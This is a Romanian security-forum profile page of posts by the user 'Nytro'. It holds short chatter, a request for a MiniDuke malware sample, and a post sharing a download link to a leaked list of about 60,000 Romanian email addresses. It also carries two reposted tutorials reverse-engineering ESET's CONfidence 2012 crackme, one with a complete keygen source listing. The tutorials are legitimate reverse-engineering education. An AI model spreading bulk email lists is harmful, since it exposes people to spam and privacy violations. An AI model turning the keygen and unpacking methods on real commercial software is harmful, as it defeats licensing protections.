-
Posts
18715 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Niciun limbaj nu este de programare: HTML : Markup CSS : Markup PHP : Scripting MySql : SGBD Javascript : Scripting Muie.
-
In cazul Red October cei de la Kaspersky au scris ca Romania e pe lista tarilor atacate si au multumit CERT-RO pentru colaborare. De asemenea, in lista de fisiere analizate de ei, erau vreo 2 care aveau nume romanesti. Da, nu inteleg ce ar putea vrea cineva de la noi. Oricum acces la institutiile noastre de 2 lei se poate obtine rapid printr-un SQLI de cacat, nu vad de ce s-ar complica atat.
-
MiniDuke, softul periculos care a afectat guvernele europene
Nytro replied to Kwelwild's topic in Stiri securitate
Are cineva un sample de MiniDuke sa ne uitam peste el? -
Mail List RO - 60K L-am gasit din intamplare pe scribd. Download: http://www.speedyshare.com/gV47E/72499008-A-a-A.txt PS: Sunt mici probleme de formatare in unele locuri, va descurcati voi.
-
Nu mai urat ca fiuto sau fieta, ce-o fi.
-
Eu NU recomand "C++ for dummies" in caz ca se gaseste cineva incepator care vrea sa invete. Explicatiile cu "To press # you must hold Shift button and press button 3" m-au lasat fara cuvinte.
-
SRI confirma ca Romania a fost tinta unui atac cibernetic de proportii
Nytro replied to Qezroot's topic in Stiri securitate
Se face prea mult tam-tam pentru niste porcarii dinastea... -
[h=2]Keygenning ESET’s CONfidence 2012 Crackme[/h] [h=4]Intro[/h] Hi again. First, sorry for delaying this post so much, but i am currently so busy, that barly i am finding time for something more than neccessities. Anyways, i dont forget what i promiss, so here comes the post about keygenning the CONfidence 2012 Crackme… In contrary to my previous post (focused on obtaining the key) now i will focus on analysis of the obfuscated algorithm used in generating MMX instructions. I assume, that you read my previous post, so if not – please refer to it. If you don’t care about tutorial, just want to see the keygen – it’s here: Keygen.cpp Keygen.exe* * requires: Microsoft Visual C++ 2008 Redistributable Package [h=4]Tools used[/h] ImmunityDbg (for it’s very useful & handy feature, which i will use a lot in deobfuscating – from context menu : Analysis -> During next analysis treat selection as -> Commands) [h=4]Analysis [/h] As we know, the MMX instructions are stored in a piece of memory starting at 403090. Generation of MMX instructions comes directly before the call to it, so it’s easy to spot. Before, the piece of memory from 403090 to 4044d0 is cleared (with RtlZeroMemory). Pay attention at arguments, which are passed to the generating function (40118A). Content of EBX is pretty obvious – it is a pointer to the memory to be filled (304090). But in ESI there is 403000 and it means… The piece of memory, where the hashes are stored. From 403000 to 40300f there is a copy of hash#1 (md5 of the given username). It is important information – this hash will be used in generating MMX instructions. So, lets follow inside the generating function. Before the user-specific instructions will be genetated, first the MMX prolog is decrypted. Six dwords, stored at memory addresses from 417a8 are XOR-ed with 45534554. And the result is: Looks familiar? Yeah, it was easy, but now the real fun begins… Some initial values are set. ECX = 100h = 256… If you remember, there are 256 blocks of MMX instructions, so it may have something to deal with it… Then it comes to processing of the hash#1. This part is slightly obfuscated, so i will explain it. 004010B6 $ 56 PUSH ESI 004010B7 . 52 PUSH EDX 004010B8 . 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] ; Unpacked.00403000 004010BC . 8B16 MOV EDX,DWORD PTR DS:[ESI] ; EDX = DS:[403000] 004010BE . 81E2 87000000 AND EDX,87 004010C4 . 0F9BC2 SETPO DL [...] 004010EA . 33C0 XOR EAX,EAX 004010EC . D126 SHL DWORD PTR DS:[ESI],1 004010EE . D156 04 RCL DWORD PTR DS:[ESI+4],1 [...] 004010F6 > D156 08 RCL DWORD PTR DS:[ESI+8],1 004010F9 . D156 0C RCL DWORD PTR DS:[ESI+C],1 [...] 0040111A > 13C0 ADC EAX,EAX 0040111C . 33C2 XOR EAX,EDX 0040111E . 0906 OR DWORD PTR DS:[ESI],EAX 00401120 . 5A POP EDX 00401121 . 5E POP ESI 00401122 . C2 0400 RETN 4 As we see, the piece of memory containing hash#1 is modified after each execution of those instructions. Value of EAX is modified – it changes according to the content of memory at 403000 – that’s how the value of hash influences the process of generating MMX instructions. But obviously, we need to know details… The question is, how exectly every MMX instruction is generated and what is the connection between it and the hash/processed hash? The previously described function is called twice. The result of first call is stored in EDX. (I will denote this function as get_cmd_base). 00401125 $ 52 PUSH EDX 00401126 . 56 PUSH ESI 00401127 . 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] ; ESI = 403000 0040112B > 51 PUSH ECX ; bgn#1 [...] 0040114C . 59 POP ECX 0040114D . 56 PUSH ESI 0040114E . E8 63FFFFFF CALL Unpacked.004010B6 ; modify memory at 403000 00401153 . 8BD0 MOV EDX,EAX ; EAX = result of function at 4010B6 00401155 . 56 PUSH ESI 00401156 . E8 5BFFFFFF CALL Unpacked.004010B6 ; modify (again) memory at 403000 0040115B . 8D0450 LEA EAX,DWORD PTR DS:[EAX+EDX*2] [...] 00401181 . 85C0 TEST EAX,EAX 00401183 >^74 A6 JE SHORT Unpacked.0040112B ; ;goto #bgn1 00401185 . 5E POP ESI 00401186 . 5A POP EDX 00401187 . C2 0400 RETN 4 Then, the first result is multiplied by 2 and added to second result in EAX. DWORD get_cmd_base(BYTE *hashBuffer) { DWORD eax, edx; do { edx = process_hash(hashBuffer); eax = process_hash(hashBuffer); eax = eax + edx * 2; } while (eax == 0); return eax; } What are the possible valueas of EAX? EAX = EAX + EDX * 2 where right side EAX and EDX are results from 403000 modifying function. So, EAX, EDX can take a value either 0 or 1. Means left side EAX (res) is: | EAX | EDX | res | ------------------- | 0 | 0 | 0 | | 1 | 0 | 1 | | 0 | 1 | 2 | | 1 | 1 | 3 | ------------------- If EAX == 0, then everything is repeated once again – (after some obfuscation) we go back to the same piece of code. If EAX != 0, then instruction is generated on its base. Below is how the first instruction comes. The first instruction is MOVQ [MM6/MM7], [MM0/MM1] 0040120A > 56 PUSH ESI 0040120B . E8 15FFFFFF CALL Unpacked.00401125 00401210 . D1E8 SHR EAX,1 00401212 . F7D8 NEG EAX 00401214 . 83E0 01 AND EAX,1 [...] 0040122B > 8BEB MOV EBP,EBX [...] 0040124B > 81E5 00070000 AND EBP,700 00401251 . C1ED 05 SHR EBP,5 00401254 . 81CD C6000000 OR EBP,0C6 0040125A . 33E8 XOR EBP,EAX [...] 0040147D $ 8BC5 MOV EAX,EBP 0040147F . C1E0 18 SHL EAX,18 [...] 004014A5 . 0D CC0F7F00 OR EAX,7F0FCC ; MOVQ MMx, MMy 004014AA . C1C8 08 ROR EAX,8 004014AD . 8907 MOV DWORD PTR DS:[EDI],EAX 004014AF . 83C7 03 ADD EDI,3 [...] 004014D0 > 8BC3 MOV EAX,EBX 004014D2 . C1E8 1F SHR EAX,1F 004014D5 . 33D8 XOR EBX,EAX 004014D7 . C3 RETN The first out of 6 instructions is generated… And then, generating next instruction: MOVQ [MM7/MM6],[MM2/MM3/MM4/MM5]. The choise of first register depends on the perevious. if previuosly we had MOVQ MM6,[...] now there must be MOV MM7,[...]. The second choise is independent. 00401284 . 81CB 00000080 OR EBX,80000000 [...] 004012A8 > 8BC3 MOV EAX,EBX 004012AA . 83E0 07 AND EAX,7 004012AD . C1E0 03 SHL EAX,3 004012B0 . 81E5 C7000000 AND EBP,0C7 004012B6 . 0BE8 OR EBP,EAX 004012B8 . 83F5 01 XOR EBP,1 [...] 0040147D $ 8BC5 MOV EAX,EBP 0040147F . C1E0 18 SHL EAX,18 [...] 004014A5 . 0D CC0F7F00 OR EAX,7F0FCC ; MOVQ MMx, MMy 004014AA . C1C8 08 ROR EAX,8 004014AD . 8907 MOV DWORD PTR DS:[EDI],EAX 004014AF . 83C7 03 ADD EDI,3 [...] 004014D0 > 8BC3 MOV EAX,EBX 004014D2 . C1E8 1F SHR EAX,1F 004014D5 . 33D8 XOR EBX,EAX 004014D7 . C3 RETN The second out of 6 instructions… Third instruction: As we know, 3-rd, 4-ty and 5-th instructions are various. Here we see from where this variety comes. The call to an instruction generating procedure is done to various places in memory, depeending on EAX. 004012DE > 56 PUSH ESI ; Unpacked.00403000 004012DF . E8 41FEFFFF CALL Unpacked.00401125 [...] 00401307 . 8BEB MOV EBP,EBX 00401309 . 83E5 07 AND EBP,7 0040130C . 81CD F0000000 OR EBP,0F0 00401312 . FF1485 6D14400>CALL DWORD PTR DS:[EAX*4+40146D] 00401319 . E8 07000000 CALL Unpacked.00401325 ; //after #3 EAX = {1, 2, 3} [EAX*4+40146D] = {401471, 401475, 401479} EAX = 1 -> call 4015A6 EAX = 2 -> call 4016C3 EAX = 3 -> call 4014D8 As we see, in each of these 3 cases, the function at 401125 is called. It leads, after some obfuscation, again to 40114D (described above, which result is “res”). Then, the “res” is used in further operations. After deobfuscation it is: If EAX = 1 004015A6 $ 56 PUSH ESI ; Unpacked.00403000 004015A7 . E8 79FBFFFF CALL Unpacked.00401125 004015AC . 8AE0 MOV AH,AL 004015AE . 80E4 01 AND AH,1 004015B1 . C0E4 04 SHL AH,4 004015B4 . 80CC EF OR AH,0EF [...] 004015DA . 8AD0 MOV DL,AL 004015DC . 80E2 02 AND DL,2 004015DF . D0E2 SHL DL,1 004015E1 . 80CA FB OR DL,0FB [...] 00401602 > 22D4 AND DL,AH [...] 00401618 > 8AF0 MOV DH,AL 0040161A . 80E6 01 AND DH,1 0040161D . F6DE NEG DH [...] 00401642 . 56 PUSH ESI 00401643 . E8 DDFAFFFF CALL Unpacked.00401125 00401648 . 22F0 AND DH,AL 0040164A . 32D6 XOR DL,DH [...] 0040166A > 8BC5 MOV EAX,EBP 0040166C . 0FB6D2 MOVZX EDX,DL 0040166F . 0FB6C0 MOVZX EAX,AL 00401672 . C1E0 10 SHL EAX,10 00401675 . C1E2 08 SHL EDX,8 [...] 00401691 > 33C2 XOR EAX,EDX 00401693 . 35 0F0000CC XOR EAX,CC00000F 00401698 . 8907 MOV DWORD PTR DS:[EDI],EAX 0040169A . 83C7 03 ADD EDI,3 [...] 004016BB > 8BC3 MOV EAX,EBX 004016BD . C1E8 1F SHR EAX,1F 004016C0 . 33D8 XOR EBX,EAX 004016C2 . C3 RETN If (EAX = 2): 004016C3 $ 51 PUSH ECX 004016C4 . 56 PUSH ESI 004016C5 . E8 5BFAFFFF CALL Unpacked.00401125 004016CA . 8AC8 MOV CL,AL [...] 004016D1 > 80E1 01 AND CL,1 004016D4 . B4 01 MOV AH,1 004016D6 . D2E4 SHL AH,CL 004016D8 . F6D4 NOT AH 004016DA . C0C4 04 ROL AH,4 [...] 00401700 24 02 AND AL,2 00401702 F6D0 NOT AL 00401704 D0C0 ROL AL,1 00401706 22E0 AND AH,AL [...] 0040172B 8BCD MOV ECX,EBP 0040172D 25 00FF0000 AND EAX,0FF00 00401732 0FB6C9 MOVZX ECX,CL 00401735 C1E1 10 SHL ECX,10 00401738 0BC1 OR EAX,ECX 0040173A 35 0F0000CC XOR EAX,CC00000F [...] 0040175D > 8907 MOV DWORD PTR DS:[EDI],EAX 0040175F . 83C7 03 ADD EDI,3 00401762 . 8BC3 MOV EAX,EBX 00401764 . C1E8 1F SHR EAX,1F 00401767 . 33D8 XOR EBX,EAX 00401769 . 59 POP ECX 0040176A . C3 RETN If (EAX =3) 004014D8 $ 56 PUSH ESI 004014D9 . E8 47FCFFFF CALL Unpacked.00401125 [...] 004014DE . D0E8 SHR AL,1 004014E0 . 8AD0 MOV DL,AL 004014E2 . C0E2 05 SHL DL,5 [...] 00401503 > 56 PUSH ESI ; Unpacked.00403000 00401504 . E8 1CFCFFFF CALL Unpacked.00401125 00401509 . 8AF0 MOV DH,AL 0040150B . 8BC5 MOV EAX,EBP 0040150D . C0E8 03 SHR AL,3 [...] 00401533 > 24 07 AND AL,7 00401535 . 0C F0 OR AL,0F0 00401537 . 32D0 XOR DL,AL [...] 00401557 > 56 PUSH ESI ; Unpacked.00403000 00401558 . E8 C8FBFFFF CALL Unpacked.00401125 0040155D . 0C 70 OR AL,70 [...] 00401573 > C1E0 08 SHL EAX,8 00401576 . 0C 0F OR AL,0F 00401578 . C1E2 10 SHL EDX,10 0040157B . 33C2 XOR EAX,EDX [...] 004015A0 . 8907 MOV DWORD PTR DS:[EDI],EAX 004015A2 . 83C7 04 ADD EDI,4 004015A5 . C3 RETN As we see, when the EAX = 3 some 4-byte instruction is created (like PSLLD MM6,2). Other two cases creates 3-byte instructions (like PSUBW MM6,MM3). Fourth instruction: 0040132D > 56 PUSH ESI 0040132E . E8 F2FDFFFF CALL Unpacked.00401125 [...] 00401351 > 8BEB MOV EBP,EBX 00401353 . 83E5 07 AND EBP,7 00401356 . 81CD F8000000 OR EBP,0F8 0040135C . FF1485 6D14400> CALL DWORD PTR DS:[EAX*4+40146D] - then if follows analogicaly like 3-rd. Fifth [...] 00401377 > 81E3 FFFFFF7F AND EBX,7FFFFFFF 0040137D . 56 PUSH ESI ; Unpacked.00403000 0040137E . E8 A2FDFFFF CALL Unpacked.00401125 00401383 . D1E8 SHR EAX,1 [...] 004013A8 . F7D8 NEG EAX 004013AA . 83E0 09 AND EAX,9 004013AD . BD F7000000 MOV EBP,0F7 004013B2 . 33E8 XOR EBP,EAX [...] 004015A6 $ 56 PUSH ESI ; Unpacked.00403000 004015A7 . E8 79FBFFFF CALL Unpacked.00401125 004015AC . 8AE0 MOV AH,AL 004015AE . 80E4 01 AND AH,1 004015B1 . C0E4 04 SHL AH,4 004015B4 . 80CC EF OR AH,0EF [...] 004015DA . 8AD0 MOV DL,AL 004015DC . 80E2 02 AND DL,2 004015DF . D0E2 SHL DL,1 004015E1 . 80CA FB OR DL,0FB [...] 00401602 > 22D4 AND DL,AH [...] 00401618 > 8AF0 MOV DH,AL 0040161A . 80E6 01 AND DH,1 0040161D . F6DE NEG DH [...] 00401642 . 56 PUSH ESI ; Unpacked.00403000 00401643 . E8 DDFAFFFF CALL Unpacked.00401125 00401648 . 22F0 AND DH,AL 0040164A . 32D6 XOR DL,DH [...] 0040166A > 8BC5 MOV EAX,EBP 0040166C . 0FB6D2 MOVZX EDX,DL 0040166F . 0FB6C0 MOVZX EAX,AL 00401672 . C1E0 10 SHL EAX,10 00401675 . C1E2 08 SHL EDX,8 [...] 00401691 > 33C2 XOR EAX,EDX 00401693 . 35 0F0000CC XOR EAX,CC00000F 00401698 . 8907 MOV DWORD PTR DS:[EDI],EAX 0040169A . 83C7 03 ADD EDI,3 [...] 004016BB > 8BC3 MOV EAX,EBX 004016BD . C1E8 1F SHR EAX,1F 004016C0 . 33D8 XOR EBX,EAX 004016C2 . C3 RETN Sixth: 004013EB > 8BC3 MOV EAX,EBX 004013ED . C1E8 05 SHR EAX,5 004013F0 . 83F0 08 XOR EAX,8 004013F3 . 83E0 38 AND EAX,38 004013F6 . C1ED 03 SHR EBP,3 [...] 0040141C 83E5 07 AND EBP,7 0040141F 0BE8 OR EBP,EAX 00401421 81CD C0000000 OR EBP,0C0 [...] 004015A6 $ 56 PUSH ESI ; Unpacked.00403000 004015A7 . E8 79FBFFFF CALL Unpacked.00401125 004015AC . 8AE0 MOV AH,AL 004015AE . 80E4 01 AND AH,1 004015B1 . C0E4 04 SHL AH,4 004015B4 . 80CC EF OR AH,0EF [...] 004015DA . 8AD0 MOV DL,AL 004015DC . 80E2 02 AND DL,2 004015DF . D0E2 SHL DL,1 004015E1 . 80CA FB OR DL,0FB [...] 00401602 > 22D4 AND DL,AH [...] 00401618 > 8AF0 MOV DH,AL 0040161A . 80E6 01 AND DH,1 0040161D . F6DE NEG DH [...] 00401642 . 56 PUSH ESI ; Unpacked.00403000 00401643 . E8 DDFAFFFF CALL Unpacked.00401125 00401648 . 22F0 AND DH,AL 0040164A . 32D6 XOR DL,DH [...] 0040166A > 8BC5 MOV EAX,EBP 0040166C . 0FB6D2 MOVZX EDX,DL 0040166F . 0FB6C0 MOVZX EAX,AL 00401672 . C1E0 10 SHL EAX,10 00401675 . C1E2 08 SHL EDX,8 [...] 00401691 > 33C2 XOR EAX,EDX 00401693 . 35 0F0000CC XOR EAX,CC00000F 00401698 . 8907 MOV DWORD PTR DS:[EDI],EAX 0040169A . 83C7 03 ADD EDI,3 [...] 004016BB > 8BC3 MOV EAX,EBX 004016BD . C1E8 1F SHR EAX,1F 004016C0 . 33D8 XOR EBX,EAX 004016C2 . C3 RETN After that… 00401454 . C0C3 04 ROL BL,4 00401457 . 81F3 00010000 XOR EBX,100 ; ECX = 100h 0040145D . 49 DEC ECX ; ECX = 0FFh 0040145E .^0F85 88FDFFFF JNZ Unpacked.004011EC and navigation goes back to generation of first instruction. As we see, ECX is decremented - exactly 256 blocks of 6 instructions are generated. The full MMX Generating code for any given login You can find in attached example: Generator.cpp [h=4]Keygenning[/h] The MMX Generator was a missing piece of puzzle. Other pieces are described in my previous post. Now we must put them together and the keygen is ready! But as we know, the generated MMX instructions must be reversed. There are two things to be done about it: Reversing the last (6-th instruction) in every block Reversing the order of blocks (first block must be the last and so on) Ok, let’s do it one by one. [h=5]Reversing the last (6-th instruction) in every block:[/h] The set of possible instructions occuring in the 6-th line is: {PADDB, PADDW, PADDQ, PSUBB,PSUBW, PSUBQ, XOR}. Three type of addition (add BYTE, add DWORD, add QWORD), analogical substractions and XOR. Reversing table will look like this: PADDB -> PSUBB PADDW -> PSUBW PADDD -> PSUBD PSUBB -> PADDB PSUBW -> PADDW PSUBD -> PADDD XOR -> XOR But we can operate on opcodes only. The representation of following instruction is: PADDB = 0xfc PADDW = 0xfd PADDQ = 0xfe PSUBB = 0xf8 PSUBW = 0xf9 PSUBQ = 0xfa XOR = 0xef So, when the 6-th instruction is generated, we must substitute one opcode by another – representing reversed operation. Take a look at the code generating 6-th instruction in Generator.cpp: thus, instruction in EDX should be reversed before the XORing wih EAX (line 332). It can be done easyli: if (EDX == 0xef) -> don’t do anything (it’s XOR) else if (EDX < 0xfc) -> EDX += 4 else -> EDX -= 4 I hope everything is clear [h=5]Reversing the order of blocks[/h] We must fill the buffer of blocks from the back to front. Here the only problem is, we don’t know the exact length in bytes of a single block, because instructions{3, 4} can be either of 3 or of 4 bytes. That’s why we have to reserve memory for the maximal case and fill the gaps with NOPs (0×90). Then, adding RET at the end of the buffer, and we can call the generated code as a function, from within assembler code. Mind that the keygen must be compiled with DEP (Data Execution Prevention) switched off (eventualy you can set this page of memory executable by VirtualProtect). It’s time to look at the Keygen.cpp! //--------------------------------------------------------------------------- // the code published under Creative Commons (CC-BY-NC) license // author: hasherezade (http://hshrzd.wordpress.com) // the keygenerator for ESET CrackMe, CONfidence2012 (http://2012.confidence.org.pl) // remarks: compile with DEP disabled //--------------------------------------------------------------------------- #include <windows.h> #include <iostream> using namespace std; BYTE hsh[16]; BYTE hashes[4][16]; BYTE output[16]; /* maxBlock = 6 instructions total: instruction[1,2,5,6] -> 3 bytes instruction[3,4] -> 3 or 4 bytes -> max 4 bytes + 1 byte -> NOP at the end of 6-th instruction (padding) */ const DWORD maxBlock = 4 * 3 + 2 * 4 + 1; const DWORD bufMax = maxBlock * 256; BYTE buffer[bufMax]; DWORD bufIndex = bufMax - maxBlock; DWORD blockStart = bufMax; //---------------------------------------- typedef struct { ULONG i[2]; ULONG buf[4]; unsigned char in[64]; unsigned char digest[16]; } MD5_CTX; typedef void (WINAPI *t_MD5Init)( MD5_CTX *context ); t_MD5Init MD5Init; typedef void (WINAPI *t_MD5Update)( MD5_CTX *context, const unsigned char *input, unsigned int inlen ); t_MD5Update MD5Update; typedef void (WINAPI *t_MD5Final) ( MD5_CTX *context ); t_MD5Final MD5Final; char revrs(int a) { a += 0x41; if (a >= 'A' && a <= 'Z') return a; a += 6; return a; } void decode_chunks() { int V = 0x29, i = 0; WORD* out = (WORD*)output; while (i < 8) { WORD chunk = out[i]; i++; //printf("\n%4X",chunk); int x,y,z; int a; z = chunk % V; a = chunk / V; y = a % V; x = a / V; printf("%c%c%c", revrs(x), revrs(y), revrs(z)); } } //---------------------------------------- void call_generated() { memset(output,0,16); void* generated = (void*)buffer; _asm { EMMS MOVQ MM0,QWORD PTR hashes[0] MOVQ MM1,QWORD PTR hashes[8] MOVQ MM2,QWORD PTR hashes[0x10] MOVQ MM3,QWORD PTR hashes[0x18] MOVQ MM4,QWORD PTR hashes[0x20] MOVQ MM5,QWORD PTR hashes[0x28] call generated MOVQ QWORD PTR output[0], MM0 MOVQ QWORD PTR output[8], MM1 }; } void genetrateReversed() { memset(buffer, 0x90, bufMax); __asm { push ebp mov EBX, 0x42 mov ECX, 0x100 jmp start process_hsh: PUSH ESI PUSH EDX MOV EDX, dword ptr hsh[0] AND EDX,0x87 SETPO DL XOR EAX,EAX SHL dword ptr hsh[0],1 RCL DWORD PTR hsh[4],1 RCL DWORD PTR hsh[8],1 RCL DWORD PTR hsh[0xC],1 ADC EAX,EAX XOR EAX,EDX OR DWORD PTR hsh[0],EAX POP EDX POP ESI RET get_cmd_base: PUSH EDX PUSH ESI bgn1: call process_hsh MOV EDX,EAX call process_hsh LEA EAX,DWORD PTR DS:[EAX+EDX*2] TEST EAX,EAX JE bgn1 POP ESI POP EDX RET Instruction1: call get_cmd_base SHR EAX,1 NEG EAX AND EAX,1 MOV EBP,EBX AND EBP,0x700 SHR EBP,5 OR EBP,0xC6 XOR EBP,EAX MOV EAX,EBP SHL EAX,0x18 OR EAX,0x7F0FCC ROR EAX,8 MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX RET Instruction2: OR EBX,0x80000000 MOV EAX,EBX AND EAX,7 SHL EAX,3 AND EBP,0xC7 OR EBP,EAX XOR EBP,1 MOV EAX,EBP SHL EAX,0x18 OR EAX,0x7F0FCC ROR EAX,8 MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX RET case1: call get_cmd_base MOV AH,AL AND AH,1 SHL AH,4 OR AH,0xEF MOV DL,AL AND DL,2 SHL DL,1 OR DL,0xFB AND DL,AH MOV DH,AL AND DH,1 NEG DH call get_cmd_base AND DH,AL XOR DL,DH MOV EAX,EBP MOVZX EDX,DL MOVZX EAX,AL SHL EAX,0x10 SHL EDX,8 XOR EAX,EDX XOR EAX,0xCC00000F MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX RET case2: PUSH ECX call get_cmd_base MOV CL,AL AND CL,1 MOV AH,1 SHL AH,CL NOT AH ROL AH,4 AND AL,2 NOT AL ROL AL,1 AND AH,AL MOV ECX,EBP AND EAX,0xFF00 MOVZX ECX,CL SHL ECX,0x10 OR EAX,ECX XOR EAX,0xCC00000F MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX POP ECX RET case3: call get_cmd_base SHR AL,1 MOV DL,AL SHL DL,5 call get_cmd_base MOV DH,AL MOV EAX,EBP SHR AL,3 AND AL,7 OR AL,0xF0 XOR DL,AL call get_cmd_base OR AL,0x70 SHL EAX,8 OR AL,0x0F SHL EDX,0x10 XOR EAX,EDX MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,4 RET Instruction3: call get_cmd_base MOV EBP,EBX AND EBP,7 OR EBP,0x0F0 the_switch: cmp eax, 1 jne c2 jmp case1 c2: cmp eax, 2 jne c3 jmp case2 c3: cmp eax, 3 jne c4 jmp case3 c4: RET Instruction4: call get_cmd_base MOV EBP,EBX AND EBP,7 OR EBP,0x0F8 jmp the_switch RET Instruction5: AND EBX,0x7FFFFFFF call get_cmd_base SHR EAX,1 NEG EAX AND EAX,9 MOV EBP,0xF7 XOR EBP,EAX call get_cmd_base MOV AH,AL AND AH,1 SHL AH,4 OR AH,0xEF MOV DL,AL AND DL,2 SHL DL,1 OR DL,0xFB AND DL,AH MOV DH,AL AND DH,1 NEG DH call get_cmd_base AND DH,AL XOR DL,DH MOV EAX,EBP MOVZX EDX,DL MOVZX EAX,AL SHL EAX,0x10 SHL EDX,8 XOR EAX,EDX XOR EAX,0xCC00000F MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX RET Instruction6: MOV EAX,EBX SHR EAX,5 XOR EAX,8 AND EAX,0x38 SHR EBP,3 AND EBP,7 OR EBP,EAX OR EBP,0xC0 call get_cmd_base MOV AH,AL AND AH,1 SHL AH,4 OR AH,0xEF MOV DL,AL AND DL,2 SHL DL,1 OR DL,0xFB AND DL,AH MOV DH,AL AND DH,1 NEG DH call get_cmd_base AND DH,AL XOR DL,DH MOV EAX,EBP MOVZX EDX,DL MOVZX EAX,AL SHL EAX,0x10 call reverseInstruction6 SHL EDX,8 XOR EAX,EDX XOR EAX,0x9000000F ;// i want NOP at the end of the last instruction (instead of INT 3: XOR EAX,0xCC00000F) MOV EDI, bufIndex MOV DWORD PTR buffer[EDI], EAX ADD bufIndex,3 MOV EAX,EBX SHR EAX,0x1F XOR EBX,EAX RET reverseInstruction6: ;/* ; 0xfc -> 0xf8 (PADDB -> PSUBB) ; 0xfd -> 0xf9 (PADDW -> PSUBW) ; 0xfe -> 0xfa (PADDD -> PSUBD) ; ; 0xf8 -> 0xfc (PSUBB -> PADDB) ; 0xf9 -> 0xfd (PSUBW -> PADDW) ; 0xfa -> 0xfe (PSUBD -> PADDD) ; ; 0xef -> 0xef (reversed XOR is XOR) ;*/ cmp EDX, 0xef je revEnd cmp EDX, 0xfc jb r1 SUB EDX,4 jmp revEnd r1: ADD EDX,4 revEnd: RET start: push ebx mov ebx,blockStart sub ebx, maxBlock mov blockStart, ebx mov bufIndex, ebx pop ebx call Instruction1 call Instruction2 call Instruction3 call Instruction4 call Instruction5 call Instruction6 ROL BL,4 XOR EBX,0x100 DEC ECX JNZ start pop ebp }; BYTE ret = 0xc3; buffer[bufMax-1] = ret; } int main(){ //load int i; HMODULE hCryptdll = LoadLibraryA("Cryptdll.dll"); if (hCryptdll==NULL) return (-1); MD5Init = (t_MD5Init)GetProcAddress(hCryptdll, "MD5Init"); MD5Update = (t_MD5Update)GetProcAddress(hCryptdll, "MD5Update"); MD5Final = (t_MD5Final)GetProcAddress(hCryptdll, "MD5Final"); //Get input const int MAX = 33; char input[MAX]; printf("Name:\n"); scanf("%[ A-Za-z]s", input); //including space int len = strlen(input); MD5_CTX md5; MD5Init(&md5); MD5Update(&md5,(const unsigned char *)input, len); MD5Final(&md5); memcpy(hsh, md5.digest, 16); //other hashes memcpy(hashes[0], md5.digest, 16); char backup[16]; memcpy(backup, md5.digest, 16); int x; for (x = 1; x < 3; x++) { MD5Init(&md5); MD5Update(&md5,(const unsigned char *)backup, 16); MD5Final(&md5); memcpy(hashes[x], md5.digest, 16); memcpy(backup, md5.digest, 16); } //--- genetrateReversed(); call_generated(); printf("\nRegistration key:\n"); decode_chunks(); printf("\n\n---\n"); system("pause"); return 0; } Sursa: Keygenning ESET’s CONfidence 2012 Crackme | hasherezade's 1001 nights
-
Solving ESET’s CONfidence 2012 Crackme Solving ESET’s CONfidence 2012 Crackme 12 comments Intro Have You heard / read about CONfidence? It’s two days IT security conference, organized annualy in Cracow, Poland. (Here you can read more…). It used to be a tradition, that ESET company prepares a CrackMe, for atendees of the conference. This year the rules were different: they published the CrackMe before, and decided to reward first 5 solvers by CONfidence tickets ^^. And it happend – I was the one of them … So, now I have a pleasure to describe for You what the CrackMe was about and how did i aproached it. CrackMe Here You can find original CrackMe: CONfidence CrackMe2012 (password to rar: ESET) If you are not interested to unpack it, but just to play with algo, here i prepared unpacked version: Unpacked CrackMe The CrackMe was writen in assembler and packed with MPRESS. It uses 2 custom hashing procedures – one of them was generated on the base of username. Unpacking it was very easy – i did it just by stepping in OllyDbg, and then dumping the memory. No external tools for imports rebuilding were required. Tools used PEid (optional) ImmunityDbg / OllyDbg - with OllyDump plugin (for unpacking) Tiny self-made tools writen in C++ (i will describe them further) What CrackMe does - gets the username (length of username: from 4 to 31) - gets the password (must be exactly 24 characters long, containing characters [A-Za-o]) - generates 3 MD5 hashes in following manner: #1 -> md5(username) #2 -> md5(#1) #3 -> md5(#2) input: hasherezade hash#1 = D88EB947A504FCF6C3D9DCA5F84DE42A hash#2 = 12EB2430F671103B94D11F34D375CC0D hash#3 = B23D343E81CEE206B9D180B7B0189010 Sample Md5 generator Hashes are used to generate an MMX code, used in password verification. The most (the only?) challenging part was to crack this MMX hash. It’s easy to spot this function, because it is called just before the decision, whether the password is correct or not. It’s result is compared with hash#1, and when it is equal, then our password is accepted. The address of the function is hidden in EAX… The function is placed at memory address 0×403090 (till 0×404355). 1536 MMX instructions… Looks long and messy? Think so… It’s just a begining… First impresion was to brutforce it… But never mind, first impressions are often just delusions Obviously, brutforcing this would take ages! So there must be some other way… If You look closer, You see, that it’s not such a mess as it seems to be. I always like to start by sorting out what’s searched and what’s given Searched and given: Input is placed in registers MM0 to MM5. Output – placed in: MM0 to MM1 Registers at the begining of function execution: MM0,MM1 -> ? (our password in processed form) MM2,MM3 -> hash#2 MM4,MM5 -> hash#3 (mind endians!) MM0 and MM1 are filled with some “mysterious” hash – by simple experiments you can see that it is related with given password, but now we will not go into details of it… In the registers [MM2, MM3] hash#2 is placed and in [MM4, MM5] hash#3. Note, that these registers are not changing till the end of the procedure. (When i noticed it, i got sure that it is reversable ) Registers at the end of the function execution (changes are in highlighted) MM0,MM1 -> ?? (should be hash#1) MM2,MM3 -> hash#2 MM4,MM5 -> hash#3 The registers MM7, MM8 are used as helpers in calculation… The correct output should be the hash#1 placed in MM0, MM1… In short words, we must input into MM0, MM1 something, which after all this operations will let us have hash#1 in MM0, MM1… No other option – this long function must be reversed. Let’s take a closer look. There are 256 blocks of 6 instructions, which follows similar logic. See the samples below: For every N-th block: 1. Result from N-1 block (stored in MM0 or MM1) is moved to “helper register” – MM7 or MM6 2. Part of hash#2 or hash#3 os moved to 